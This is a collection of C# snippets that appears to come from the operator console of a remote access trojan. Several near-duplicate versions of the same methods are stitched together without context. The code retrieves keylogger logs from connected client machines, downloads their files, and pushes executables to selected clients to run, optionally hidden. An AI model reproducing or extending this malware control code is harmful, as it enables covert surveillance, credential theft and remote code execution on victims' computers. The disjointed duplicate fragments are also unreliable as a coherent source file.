public static void HandleGetLogsResponse(Client client, GetLogsResponse packet) { if (client.Value.FrmKl == null) return; if (packet.FileCount == 0) { client.Value.FrmKl.SetGetLogsEnabled(true); return; } if (string.IsNullOrEmpty(packet.Filename)) return; string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\"); if (!Directory.Exists(downloadPath)) Directory.CreateDirectory(downloadPath); downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(packet.Block, packet.CurrentBlock); if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) { FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles(); if (iFiles.Length == 0) return; foreach (FileInfo file in iFiles) { if (client.Value.FrmKl == null) break; client.Value.FrmKl.AddLogToListview(file.Name); } if (client.Value.FrmKl == null) return; client.Value.FrmKl.SetGetLogsEnabled(true); } }
private void ctxtUpdate_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) { using (var frm = new FrmUpdate(lstClients.SelectedItems.Count)) { if (frm.ShowDialog() == DialogResult.OK) { if (Core.Misc.Update.UseDownload) { foreach (Client c in GetSelectedClients()) { new Core.Packets.ServerPackets.DoClientUpdate(0, Core.Misc.Update.DownloadURL, string.Empty, new byte[0x00], 0, 0).Execute(c); } } else { new Thread(() => { bool error = false; foreach (Client c in GetSelectedClients()) { if (c == null) continue; if (error) continue; FileSplit srcFile = new FileSplit(Core.Misc.Update.UploadPath); var fileName = Helper.GetRandomFilename(8, ".exe"); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } int ID = new Random().Next(0, int.MaxValue); CommandHandler.HandleSetStatus(c, new Core.Packets.ClientPackets.SetStatus("Uploading file...")); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (!srcFile.ReadBlock(currentBlock, out block)) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } new Core.Packets.ServerPackets.DoClientUpdate(ID, string.Empty, fileName, block, srcFile.MaxBlocks, currentBlock).Execute(c); } } }).Start(); } } } } }
private void ctxtLocalFile_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) { using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) { if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath)) { new Thread(() => { bool error = false; foreach (Client c in GetSelectedClients()) { if (c == null) continue; if (error) continue; FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } int ID = new Random().Next(0, int.MaxValue); CommandHandler.HandleSetStatus(c, new Core.Packets.ClientPackets.SetStatus("Uploading file...")); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (!srcFile.ReadBlock(currentBlock, out block)) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } new Core.Packets.ServerPackets.DoUploadAndExecute(ID, Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks, currentBlock, UploadAndExecute.RunHidden).Execute(c); } } }).Start(); } } } }
public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet) { if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename)) return; if (!Directory.Exists(client.Value.DownloadDirectory)) Directory.CreateDirectory(client.Value.DownloadDirectory); string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename); if (packet.CurrentBlock == 0 && File.Exists(downloadPath)) { for (int i = 1; i < 100; i++) { var newFileName = string.Format("{0}_{1}{2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath)); if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName))) continue; downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName); RenamedFiles.Add(packet.ID, newFileName); break; } } else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID)) { downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]); } if (client.Value.FrmFm == null) { FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open."); new Packets.ServerPackets.DownloadFileCanceled(packet.ID).Execute(client); return; } int index = client.Value.FrmFm.GetTransferIndex(packet.ID.ToString()); if (index < 0) return; if (!string.IsNullOrEmpty(packet.CustomMessage)) { if (client.Value.FrmFm == null) // abort download when form is closed return; client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0); return; } FileSplit destFile = new FileSplit(downloadPath); if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock)) { if (client.Value.FrmFm == null) return; client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0); return; } decimal progress = Math.Round((decimal) ((double) (packet.CurrentBlock + 1)/(double) packet.MaxBlocks*100.0), 2); if (client.Value.FrmFm == null) return; client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1); if ((packet.CurrentBlock + 1) == packet.MaxBlocks) { if (client.Value.FrmFm == null) return; RenamedFiles.Remove(packet.ID); client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1); } }
private void ctxtLocalFile_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) { using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) { if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath)) { new Thread(() => { List<Client> clients = new List<Client>(); this.lstClients.Invoke((MethodInvoker)delegate { foreach (ListViewItem item in lstClients.SelectedItems) { clients.Add((Client)item.Tag); } }); foreach (Client c in clients) { if (c == null) continue; FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); break; } int ID = new Random().Next(int.MinValue, int.MaxValue - 1337); // ;) CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file...")); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (!srcFile.ReadBlock(currentBlock, out block)) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); break; } new Core.Packets.ServerPackets.UploadAndExecute(ID, Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks, currentBlock, UploadAndExecute.RunHidden).Execute(c); } } }).Start(); } } } }
public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet) { string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString()); if (!Directory.Exists(downloadPath)) Directory.CreateDirectory(downloadPath); downloadPath = Path.Combine(downloadPath, packet.Filename); bool Continue = true; if (packet.CurrentBlock == 0 && File.Exists(downloadPath)) if ( MessageBox.Show(string.Format("The file '{0}' already exists!\nOverwrite it?", packet.Filename), "Overwrite Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) != DialogResult.Yes) Continue = false; if (client.Value.FrmFm == null) { new Packets.ServerPackets.DownloadFileCanceled(packet.ID).Execute(client); MessageBox.Show("Please keep the File Manager open.\n\nWarning: Download aborted", "Download aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } int index = 0; try { client.Value.FrmFm.Invoke((MethodInvoker) delegate { foreach (ListViewItem lvi in client.Value.FrmFm.lstTransfers.Items) { if (packet.ID.ToString() == lvi.SubItems[0].Text) { index = lvi.Index; break; } } }); } catch { return; } if (Continue) { if (!string.IsNullOrEmpty(packet.CustomMessage)) { client.Value.FrmFm.Invoke((MethodInvoker) delegate { client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = packet.CustomMessage; client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0; }); return; } FileSplit destFile = new FileSplit(downloadPath); if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock)) { client.Value.FrmFm.Invoke((MethodInvoker) delegate { client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = destFile.LastError; client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0; }); return; } decimal progress = Math.Round((decimal) ((double) (packet.CurrentBlock + 1)/(double) packet.MaxBlocks*100.0), 2); client.Value.FrmFm.Invoke( (MethodInvoker) delegate { client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = string.Format("Downloading...({0}%)", progress); }); if ((packet.CurrentBlock + 1) == packet.MaxBlocks) { client.Value.FrmFm.Invoke((MethodInvoker) delegate { client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Completed"; client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 1; }); } } else { client.Value.FrmFm.Invoke((MethodInvoker) delegate { client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Canceled"; client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0; }); } }
public static void HandleGetLogsResponse(Client client, GetLogsResponse packet) { if (client.Value.FrmKl == null) return; if (packet.FileCount == 0) { client.Value.FrmKl.Invoke((MethodInvoker) delegate { client.Value.FrmKl.btnGetLogs.Enabled = true; }); return; } string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\"); if (!Directory.Exists(downloadPath)) Directory.CreateDirectory(downloadPath); downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(packet.Block, packet.CurrentBlock); if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) { FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles(); if (iFiles.Length == 0) return; foreach (FileInfo file in iFiles) { var file1 = file; client.Value.FrmKl.Invoke((MethodInvoker)delegate { client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem() { Text = file1.Name }); }); } client.Value.FrmKl.Invoke((MethodInvoker)delegate { client.Value.FrmKl.btnGetLogs.Enabled = true; }); } }